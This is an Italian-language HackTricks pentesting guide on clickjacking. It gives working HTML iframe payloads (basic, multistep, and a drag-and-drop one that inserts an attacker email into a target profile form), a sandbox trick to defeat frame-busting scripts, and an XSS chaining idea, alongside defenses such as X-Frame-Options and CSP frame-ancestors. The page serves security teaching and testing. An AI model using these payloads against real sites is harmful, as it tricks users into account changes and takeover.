hacktricks/pentesting-web/clickjacking.md

227 lines
12 KiB
Markdown

# Clickjacking
<details>
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
Altri modi per supportare HackTricks:
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**Gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per costruire facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\
Ottieni l'accesso oggi:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Cos'è il Clickjacking
In un attacco di clickjacking, un **utente** viene **ingannato** a **cliccare** su un **elemento** in una pagina web che è **invisibile** o mascherato come un elemento diverso. Questa manipolazione può portare a conseguenze indesiderate per l'utente, come il download di malware, il reindirizzamento a pagine web dannose, la fornitura di credenziali o informazioni sensibili, trasferimenti di denaro, o l'acquisto online di prodotti.
### Trucco per precompilare i moduli
A volte è possibile **riempire il valore dei campi di un modulo utilizzando i parametri GET durante il caricamento di una pagina**. Un attaccante potrebbe abusare di questo comportamento per riempire un modulo con dati arbitrari e inviare il payload di clickjacking in modo che l'utente prema il pulsante Invia.
### Compilare il modulo con Drag\&Drop
Se hai bisogno che l'utente **compili un modulo** ma non vuoi chiedergli direttamente di scrivere informazioni specifiche (come l'email e/o una password specifica che conosci), puoi semplicemente chiedergli di **Trascinare e rilasciare** qualcosa che scriverà i tuoi dati controllati come in [**questo esempio**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/).
### Payload di base
```markup
<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
```
### Payload Multistep
In un attacco di clickjacking multistep, l'attaccante può utilizzare più passaggi per ingannare l'utente e ottenere il clic su un elemento nascosto. Questo può essere realizzato utilizzando più layer di iframe trasparenti sovrapposti, o utilizzando tecniche avanzate come il movimento dell'elemento target durante il clic.
```markup
<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>
```
### Payload Drag\&Drop + Click
```markup
<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>
```
### XSS + Clickjacking
Se hai identificato un attacco **XSS che richiede all'utente di fare clic** su un elemento per **attivare** l'XSS e la pagina è **vulnerabile al clickjacking**, potresti sfruttarlo per ingannare l'utente affinché faccia clic sul pulsante/link.
Esempio:
_Hai trovato un **self XSS** in alcuni dettagli privati dell'account (dettagli che **solo tu puoi impostare e leggere**). La pagina con il **modulo** per impostare questi dettagli è **vulnerabile** al **Clickjacking** e puoi **prepopolare** il **modulo** con i parametri GET._
\_\_Un attaccante potrebbe preparare un attacco di **Clickjacking** a quella pagina **prepopolando** il **modulo** con il **payload XSS** e **ingannando** l'**utente** affinché **invii** il modulo. Quindi, **quando il modulo viene inviato** e i valori vengono modificati, l'**utente eseguirà l'XSS**.
## Strategie per Mitigare il Clickjacking
### Difese Lato Client
Gli script eseguiti sul lato client possono eseguire azioni per prevenire il Clickjacking:
* Assicurarsi che la finestra dell'applicazione sia la finestra principale o superiore.
* Rendere tutti i frame visibili.
* Impedire i clic sui frame invisibili.
* Rilevare e avvisare gli utenti di potenziali tentativi di Clickjacking.
Tuttavia, questi script di frame-busting potrebbero essere elusi:
* **Impostazioni di Sicurezza dei Browser:** Alcuni browser potrebbero bloccare questi script in base alle loro impostazioni di sicurezza o alla mancanza di supporto JavaScript.
* **Attributo HTML5 iframe `sandbox`:** Un attaccante può neutralizzare gli script di frame buster impostando l'attributo `sandbox` con i valori `allow-forms` o `allow-scripts` senza `allow-top-navigation`. Questo impedisce all'iframe di verificare se è la finestra principale, ad esempio,
```html
<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"></iframe>
```
### Difese lato server
#### X-Frame-Options
L'header di risposta HTTP **`X-Frame-Options`** informa i browser sulla legittimità del rendering di una pagina in un `<frame>` o `<iframe>`, aiutando a prevenire il Clickjacking:
- `X-Frame-Options: deny` - Nessun dominio può inserire il contenuto in un frame.
- `X-Frame-Options: sameorigin` - Solo il sito corrente può inserire il contenuto in un frame.
- `X-Frame-Options: allow-from https://trusted.com` - Solo l'URI specificato può inserire la pagina in un frame.
- Nota le limitazioni: se il browser non supporta questa direttiva, potrebbe non funzionare. Alcuni browser preferiscono la direttiva frame-ancestors di CSP.
#### Direttiva frame-ancestors di Content Security Policy (CSP)
La direttiva **`frame-ancestors` in CSP** è il metodo consigliato per la protezione dal Clickjacking:
- `frame-ancestors 'none'` - Simile a `X-Frame-Options: deny`.
- `frame-ancestors 'self'` - Simile a `X-Frame-Options: sameorigin`.
- `frame-ancestors trusted.com` - Simile a `X-Frame-Options: allow-from`.
Ad esempio, il seguente CSP consente solo l'inserimento da parte dello stesso dominio:
`Content-Security-Policy: frame-ancestors 'self';`
Ulteriori dettagli e esempi complessi possono essere trovati nella [documentazione di frame-ancestors di CSP](https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors) e nella [documentazione di frame-ancestors di CSP di Mozilla](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors).
### Content Security Policy (CSP) con `child-src` e `frame-src`
**Content Security Policy (CSP)** è una misura di sicurezza che aiuta a prevenire il Clickjacking e altri attacchi di iniezione di codice specificando da quali fonti il browser dovrebbe consentire il caricamento di contenuti.
#### Direttiva `frame-src`
- Definisce le fonti valide per i frame.
- Più specifica rispetto alla direttiva `default-src`.
```
Content-Security-Policy: frame-src 'self' https://trusted-website.com;
```
Questo policy consente frame dalla stessa origine (self) e https://trusted-website.com.
#### Direttiva `child-src`
* Introdotto in CSP livello 2 per impostare origini valide per i web worker e i frame.
* Funziona come fallback per frame-src e worker-src.
```
Content-Security-Policy: child-src 'self' https://trusted-website.com;
```
Questo policy consente frame e workers dalla stessa origine (self) e da https://trusted-website.com.
**Note sull'utilizzo:**
* Deprecazione: child-src sta venendo gradualmente sostituito da frame-src e worker-src.
* Comportamento di fallback: Se frame-src è assente, child-src viene utilizzato come fallback per i frame. Se entrambi sono assenti, viene utilizzato default-src.
* Definizione di origine rigorosa: Includere solo fonti attendibili nelle direttive per prevenire l'exploit.
#### Script JavaScript di rottura del frame
Anche se non completamente sicuri, gli script di rottura del frame basati su JavaScript possono essere utilizzati per impedire che una pagina web venga incorniciata. Esempio:
```javascript
if (top !== self) {
top.location = self.location;
}
```
#### Utilizzo dei token Anti-CSRF
* **Validazione del token:** Utilizzare token anti-CSRF nelle applicazioni web per garantire che le richieste che modificano lo stato siano effettuate intenzionalmente dall'utente e non attraverso una pagina Clickjacked.
## Riferimenti
* [**https://portswigger.net/web-security/clickjacking**](https://portswigger.net/web-security/clickjacking)
* [**https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking\_Defense\_Cheat\_Sheet.html**](https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking\_Defense\_Cheat\_Sheet.html)
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Utilizza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della community più avanzati al mondo.\
Ottieni l'accesso oggi:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details>
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Altri modi per supportare HackTricks:
* Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>